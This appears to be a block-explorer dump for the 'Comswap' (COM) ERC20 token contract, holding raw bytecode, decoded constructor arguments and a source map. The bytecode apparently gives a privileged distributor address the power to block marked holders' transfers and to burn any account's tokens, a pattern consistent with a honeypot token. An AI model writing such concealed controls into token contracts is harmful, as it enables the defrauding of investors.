8185611c8e565b935061189f818560208601611d7e565b6118a881611e8a565b840191505092915050565b60006118c0602383611c8e565b91506118cb82611e9b565b604082019050919050565b60006118e3602283611c8e565b91506118ee82611eea565b604082019050919050565b6000611906602283611c8e565b915061191182611f39565b604082019050919050565b6000611929601d83611c8e565b915061193482611f88565b602082019050919050565b600061194c602683611c8e565b915061195782611fb1565b604082019050919050565b600061196f602083611c8e565b915061197a82612000565b602082019050919050565b6000611992602183611c8e565b915061199d82612029565b604082019050919050565b60006119b5602583611c8e565b91506119c082612078565b604082019050919050565b60006119d8600083611c8e565b91506119e3826120c7565b600082019050919050565b60006119fb602483611c8e565b9150611a06826120ca565b604082019050919050565b6000611a1e601d83611c8e565b9150611a2982612119565b602082019050919050565b6000611a41602583611c8e565b9150611a4c82612142565b604082019050919050565b611a6081611d67565b82525050565b611a6f81611d71565b82525050565b6000602082019050611a8a600083018461185c565b92915050565b6000602082019050611aa5600083018461186b565b92915050565b60006020820190508181036000830152611ac5818461187a565b905092915050565b60006020820190508181036000830152611ae6816118b3565b9050919050565b60006020820190508181036000830152611b06816118d6565b9050919050565b60006020820190508181036000830152611b26816118f9565b9050919050565b60006020820190508181036000830152611b468161191c565b9050919050565b60006020820190508181036000830152611b668161193f565b9050919050565b60006020820190508181036000830152611b8681611962565b9050919050565b60006020820190508181036000830152611ba681611985565b9050919050565b60006020820190508181036000830152611bc6816119a8565b9050919050565b60006020820190508181036000830152611be6816119cb565b9050919050565b60006020820190508181036000830152611c06816119ee565b9050919050565b60006020820190508181036000830152611c2681611a11565b9050919050565b60006020820190508181036000830152611c4681611a34565b9050919050565b6000602082019050611c626000830184611a57565b92915050565b6000602082019050611c7d6000830184611a66565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611caa82611d67565b9150611cb583611d67565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611cea57611ce9611e2c565b5b828201905092915050565b6000611d0082611d67565b9150611d0b83611d67565b925082821015611d1e57611d1d611e2c565b5b828203905092915050565b6000611d3482611d47565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611d9c578082015181840152602081019050611d81565b83811115611dab576000848401525b50505050565b60006002820490506001821680611dc957607f821691505b60208210811415611ddd57611ddc611e5b565b5b50919050565b6000611dee82611d67565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611e2157611e20611e2c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61219a81611d29565b81146121a557600080fd5b50565b6121b181611d3b565b81146121bc57600080fd5b50565b6121c881611d67565b81146121d357600080fd5b5056fea2646970667358221220619a178bf73e5e8a62b5c8297c53178571345a0731acf2cd26bdf258fd7a8bc064736f6c63430008030033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000001406f4000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000007436f6d73776170000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003434f4d0000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a25780639dc29fac116100715780639dc29fac146102d1578063a457c2d7146102ed578063a9059cbb1461031d578063dd62ed3e1461034d578063e074839e1461037d57610116565b806370a082311461025b578063715018a61461028b5780638da5cb5b1461029557806395d89b41146102b357610116565b806318160ddd116100e957806318160ddd146101b557806323b872dd146101d3578063293230b814610203578063313ce5671461020d578063395093511461022b57610116565b806306fdde031461011b578063095ea7b3146101395780631128d531146101695780631186b8d814610199575b600080fd5b610123610399565b6040516101309190611aab565b60405180910390f35b610153600480360381019061014e91906117c8565b61042b565b6040516101609190611a90565b60405180910390f35b610183600480360381019061017e9190611714565b61044e565b6040516101909190611a90565b60405180910390f35b6101b360048036038101906101ae9190611804565b6104a4565b005b6101bd6105ff565b6040516101ca9190611c4d565b60405180910390f35b6101ed60048036038101906101e89190611779565b610609565b6040516101fa9190611a90565b60405180910390f35b61020b610638565b005b61021561070e565b6040516102229190611c68565b60405180910390f35b610245600480360381019061024091906117c8565b610717565b6040516102529190611a90565b60405180910390f35b61027560048036038101906102709190611714565b6107c1565b6040516102829190611c4d565b60405180910390f35b61029361080a565b005b61029d610892565b6040516102aa9190611a75565b60405180910390f35b6102bb6108bb565b6040516102c89190611aab565b60405180910390f35b6102eb60048036038101906102e691906117c8565b61094d565b005b610307600480360381019061030291906117c8565b6109eb565b6040516103149190611a90565b60405180910390f35b610337600480360381019061033291906117c8565b610ad5565b6040516103449190611a90565b60405180910390f35b6103676004803603810190610362919061173d565b610af8565b6040516103749190611c4d565b60405180910390f35b61039760048036038101906103929190611714565b610b7f565b005b6060600680546103a890611db1565b80601f01602080910402602001604051908101604052809291908181526020018280546103d490611db1565b80156104215780601f106103f657610100808354040283529160200191610421565b820191906000526020600020905b81548152906001019060200180831161040457829003601f168201915b5050505050905090565b600080610436610c9a565b9050610443818585610ca2565b600191505092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610534576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052b90611c0d565b60405180910390fd5b60005b838390508110156105f95781600a6000868685818110610580577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906105959190611714565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806105f190611de3565b915050610537565b50505050565b6000600454905090565b600080610614610c9a565b9050610621858285610e6d565b61062c858585610ef9565b60019150509392505050565b610640610c9a565b73ffffffffffffffffffffffffffffffffffffffff1661065e610892565b73ffffffffffffffffffffffffffffffffffffffff16146106b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ab90611b6d565b60405180910390fd5b60001515600860009054906101000a900460ff16151514156106f0576001600860006101000a81548160ff02191690831515021790555061070c565b6000600860006101000a81548160ff0219169083151502179055505b565b60006009905090565b600080610722610c9a565b90506107b6818585600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107b19190611c9f565b610ca2565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610812610c9a565b73ffffffffffffffffffffffffffffffffffffffff16610830610892565b73ffffffffffffffffffffffffffffffffffffffff1614610886576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087d90611b6d565b60405180910390fd5b6108906000611357565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546108ca90611db1565b80601f01602080910402602001604051908101604052809291908181526020018280546108f690611db1565b80156109435780601f1061091857610100808354040283529160200191610943565b820191906000526020600020905b81548152906001019060200180831161092657829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d490611c0d565b60405180910390fd5b6109e7828261141b565b5050565b6000806109f6610c9a565b90506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610abc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab390611c2d565b60405180910390fd5b610ac98286868403610ca2565b60019250505092915050565b600080610ae0610c9a565b9050610aed818585610ef9565b600191505092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b87610c9a565b73ffffffffffffffffffffffffffffffffffffffff16610ba5610892565b73ffffffffffffffffffffffffffffffffffffffff1614610bfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf290611b6d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0990611bed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7990611b0d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e609190611c4d565b60405180910390a3505050565b6000610e798484610af8565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ef35781811015610ee5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edc90611b2d565b60405180910390fd5b610ef28484848403610ca2565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6090611bad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd090611acd565b60405180910390fd5b60011515600860009054906101000a900460ff161515148061102d5750610ffe610892565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061106a575061103b610892565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156112f0576000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156112eb576110c183826115e7565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111565760008111611155576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114c90611bcd565b60405180910390fd5b5b611161838383611681565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156111e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111df90611b4d565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461127d9190611c9f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112e19190611c4d565b60405180910390a3505b611347565b60011515600860009054906101000a900460ff16151514611346576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133d90611bcd565b60405180910390fd5b5b611352838383611686565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561148b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148290611b8d565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150990611aed565b60405180910390fd5b816009546115209190611cf5565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546115759190611cf5565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115da9190611c4d565b60405180910390a3505050565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561167d576000811461167c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167390611bcd565b60405180910390fd5b5b5050565b505050565b505050565b60008135905061169a81612191565b92915050565b60008083601f8401126116b257600080fd5b8235905067ffffffffffffffff8111156116cb57600080fd5b6020830191508360208202830111156116e357600080fd5b9250929050565b6000813590506116f9816121a8565b92915050565b60008135905061170e816121bf565b92915050565b60006020828403121561172657600080fd5b60006117348482850161168b565b91505092915050565b6000806040838503121561175057600080fd5b600061175e8582860161168b565b925050602061176f8582860161168b565b9150509250929050565b60008060006060848603121561178e57600080fd5b600061179c8682870161168b565b93505060206117ad8682870161168b565b92505060406117be868287016116ff565b9150509250925092565b600080604083850312156117db57600080fd5b60006117e98582860161168b565b92505060206117fa858286016116ff565b9150509250929050565b60008060006040848603121561181957600080fd5b600084013567ffffffffffffffff81111561183357600080fd5b61183f868287016116a0565b93509350506020611852868287016116ea565b9150509250925092565b61186581611d29565b82525050565b61187481611d3b565b82525050565b600061188582611c83565b61188f8185611c8e565b935061189f818560208601611d7e565b6118a881611e8a565b840191505092915050565b60006118c0602383611c8e565b91506118cb82611e9b565b604082019050919050565b60006118e3602283611c8e565b91506118ee82611eea565b604082019050919050565b6000611906602283611c8e565b915061191182611f39565b604082019050919050565b6000611929601d83611c8e565b915061193482611f88565b602082019050919050565b600061194c602683611c8e565b915061195782611fb1565b604082019050919050565b600061196f602083611c8e565b915061197a82612000565b602082019050919050565b6000611992602183611c8e565b915061199d82612029565b604082019050919050565b60006119b5602583611c8e565b91506119c082612078565b604082019050919050565b60006119d8600083611c8e565b91506119e3826120c7565b600082019050919050565b60006119fb602483611c8e565b9150611a06826120ca565b604082019050919050565b6000611a1e601d83611c8e565b9150611a2982612119565b602082019050919050565b6000611a41602583611c8e565b9150611a4c82612142565b604082019050919050565b611a6081611d67565b82525050565b611a6f81611d71565b82525050565b6000602082019050611a8a600083018461185c565b92915050565b6000602082019050611aa5600083018461186b565b92915050565b60006020820190508181036000830152611ac5818461187a565b905092915050565b60006020820190508181036000830152611ae6816118b3565b9050919050565b60006020820190508181036000830152611b06816118d6565b9050919050565b60006020820190508181036000830152611b26816118f9565b9050919050565b60006020820190508181036000830152611b468161191c565b9050919050565b60006020820190508181036000830152611b668161193f565b9050919050565b60006020820190508181036000830152611b8681611962565b9050919050565b60006020820190508181036000830152611ba681611985565b9050919050565b60006020820190508181036000830152611bc6816119a8565b9050919050565b60006020820190508181036000830152611be6816119cb565b9050919050565b60006020820190508181036000830152611c06816119ee565b9050919050565b60006020820190508181036000830152611c2681611a11565b9050919050565b60006020820190508181036000830152611c4681611a34565b9050919050565b6000602082019050611c626000830184611a57565b92915050565b6000602082019050611c7d6000830184611a66565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611caa82611d67565b9150611cb583611d67565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611cea57611ce9611e2c565b5b828201905092915050565b6000611d0082611d67565b9150611d0b83611d67565b925082821015611d1e57611d1d611e2c565b5b828203905092915050565b6000611d3482611d47565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611d9c578082015181840152602081019050611d81565b83811115611dab576000848401525b50505050565b60006002820490506001821680611dc957607f821691505b60208210811415611ddd57611ddc611e5b565b5b50919050565b6000611dee82611d67565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611e2157611e20611e2c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61219a81611d29565b81146121a557600080fd5b50565b6121b181611d3b565b81146121bc57600080fd5b50565b6121c881611d67565b81146121d357600080fd5b5056fea2646970667358221220619a178bf73e5e8a62b5c8297c53178571345a0731acf2cd26bdf258fd7a8bc064736f6c63430008030033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000001406f4000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000007436f6d73776170000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003434f4d0000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name (string): Comswap
Arg [1] : symbol (string): COM
Arg [2] : totalSupply (uint256): 21000000
Arg [3] : initTransfer (bool): True

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000001406f40
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000001
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [5] : 436f6d7377617000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [7] : 434f4d0000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

415:353:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1099:100:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2030:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;980:111;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4085:197;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1419:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2239:295;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;818:154;;;:::i;:::-;;1319:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2542:240;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1535:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1808:103:6;;;:::i;:::-;;719:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1207:104:2;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;652:113:0;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2790:438:2;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1670:193;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1871:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1312:145:6;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1099:100:2;1153:13;1186:5;1179:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1099:100;:::o;2030:201::-;2113:4;2130:13;2146:12;:10;:12::i;:::-;2130:28;;2169:32;2178:5;2185:7;2194:6;2169:8;:32::i;:::-;2219:4;2212:11;;;2030:201;;;;:::o;980:111::-;1045:4;1069:5;:14;1075:7;1069:14;;;;;;;;;;;;;;;;;;;;;;;;;1062:21;;980:111;;;:::o;4085:197::-;1184:10:6;1168:26;;:12;;;;;;;;;;;:26;;;1160:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4183:9:2::1;4178:97;4202:8;;:15;;4198:1;:19;4178:97;;;4260:3;4239:5;:18;4245:8;;4254:1;4245:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4239:18;;;;;;;;;;;;;;;;:24;;;;;;;;;;;;;;;;;;4219:3;;;;;:::i;:::-;;;;4178:97;;;;4085:197:::0;;;:::o;1419:108::-;1480:7;1507:12;;1500:19;;1419:108;:::o;2239:295::-;2370:4;2387:15;2405:12;:10;:12::i;:::-;2387:30;;2428:38;2444:4;2450:7;2459:6;2428:15;:38::i;:::-;2477:27;2487:4;2493:2;2497:6;2477:9;:27::i;:::-;2522:4;2515:11;;;2239:295;;;;;:::o;818:154::-;950:12:6;:10;:12::i;:::-;939:23;;:7;:5;:7::i;:::-;:23;;;931:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;891:5:2::1;876:20;;:11;;;;;;;;;;;:20;;;872:93;;;922:4;908:11;;:18;;;;;;;;;;;;;;;;;;872:93;;;958:5;944:11;;:19;;;;;;;;;;;;;;;;;;872:93;818:154::o:0;1319:92::-;1377:5;1402:1;1395:8;;1319:92;:::o;2542:240::-;2630:4;2647:13;2663:12;:10;:12::i;:::-;2647:28;;2686:66;2695:5;2702:7;2741:10;2711:11;:18;2723:5;2711:18;;;;;;;;;;;;;;;:27;2730:7;2711:27;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;2686:8;:66::i;:::-;2770:4;2763:11;;;2542:240;;;;:::o;1535:127::-;1609:7;1636:9;:18;1646:7;1636:18;;;;;;;;;;;;;;;;1629:25;;1535:127;;;:::o;1808:103:6:-;950:12;:10;:12::i;:::-;939:23;;:7;:5;:7::i;:::-;:23;;;931:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1873:30:::1;1900:1;1873:18;:30::i;:::-;1808:103::o:0;719:87::-;765:7;792:6;;;;;;;;;;;785:13;;719:87;:::o;1207:104:2:-;1263:13;1296:7;1289:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1207:104;:::o;652:113:0:-;1184:10:6;1168:26;;:12;;;;;;;;;;;:26;;;1160:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;735:22:0::1;741:7;750:6;735:5;:22::i;:::-;652:113:::0;;:::o;2790:438:2:-;2883:4;2900:13;2916:12;:10;:12::i;:::-;2900:28;;2939:24;2966:11;:18;2978:5;2966:18;;;;;;;;;;;;;;;:27;2985:7;2966:27;;;;;;;;;;;;;;;;2939:54;;3032:15;3012:16;:35;;3004:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;3125:60;3134:5;3141:7;3169:15;3150:16;:34;3125:8;:60::i;:::-;3216:4;3209:11;;;;2790:438;;;;:::o;1670:193::-;1749:4;1766:13;1782:12;:10;:12::i;:::-;1766:28;;1805;1815:5;1822:2;1826:6;1805:9;:28::i;:::-;1851:4;1844:11;;;1670:193;;;;:::o;1871:151::-;1960:7;1987:11;:18;1999:5;1987:18;;;;;;;;;;;;;;;:27;2006:7;1987:27;;;;;;;;;;;;;;;;1980:34;;1871:151;;;;:::o;1312:145:6:-;950:12;:10;:12::i;:::-;939:23;;:7;:5;:7::i;:::-;:23;;;931:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1413:1:::1;1389:26;;:12;;;;;;;;;;;:26;;;1380:36;;;::::0;::::1;;1442:7;1427:12;;:22;;;;;;;;;;;;;;;;;;1312:145:::0;:::o;92:98:1:-;145:7;172:10;165:17;;92:98;:::o;5327:380:2:-;5480:1;5463:19;;:5;:19;;;;5455:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5561:1;5542:21;;:7;:21;;;;5534:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5645:6;5615:11;:18;5627:5;5615:18;;;;;;;;;;;;;;;:27;5634:7;5615:27;;;;;;;;;;;;;;;:36;;;;5683:7;5667:32;;5676:5;5667:32;;;5692:6;5667:32;;;;;;:::i;:::-;;;;;;;;5327:380;;;:::o;5715:453::-;5850:24;5877:25;5887:5;5894:7;5877:9;:25::i;:::-;5850:52;;5937:17;5917:16;:37;5913:248;;5999:6;5979:16;:26;;5971:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6083:51;6092:5;6099:7;6127:6;6108:16;:25;6083:8;:51::i;:::-;5913:248;5715:453;;;;:::o;4290:1029::-;4437:1;4421:18;;:4;:18;;;;4413:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4514:1;4500:16;;:2;:16;;;;4492:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;4586:4;4571:19;;:11;;;;;;;;;;;:19;;;:38;;;;4602:7;:5;:7::i;:::-;4594:15;;:4;:15;;;4571:38;:55;;;;4619:7;:5;:7::i;:::-;4613:13;;:2;:13;;;4571:55;4567:697;;;4664:1;4646:9;:15;4656:4;4646:15;;;;;;;;;;;;;;;;:19;4643:568;;;4685:36;4708:4;4714:6;4685:22;:36::i;:::-;4744:5;:9;4750:2;4744:9;;;;;;;;;;;;;;;;;;;;;;;;;4740:36;;4770:1;4763:6;:8;4755:21;;;;;;;;;;;;:::i;:::-;;;;;;;;;4740:36;4795:38;4816:4;4822:2;4826:6;4795:20;:38::i;:::-;4854:19;4876:9;:15;4886:4;4876:15;;;;;;;;;;;;;;;;4854:37;;4933:6;4918:11;:21;;4910:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;5066:6;5052:11;:20;5034:9;:15;5044:4;5034:15;;;;;;;;;;;;;;;:38;;;;5127:6;5110:9;:13;5120:2;5110:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;5174:2;5159:26;;5168:4;5159:26;;;5178:6;5159:26;;;;;;:::i;:::-;;;;;;;;4643:568;;4567:697;;;5253:4;5238:19;;:11;;;;;;;;;;;:19;;;5229:33;;;;;;;;;;;;:::i;:::-;;;;;;;;;4567:697;5274:37;5294:4;5300:2;5304:6;5274:19;:37::i;:::-;4290:1029;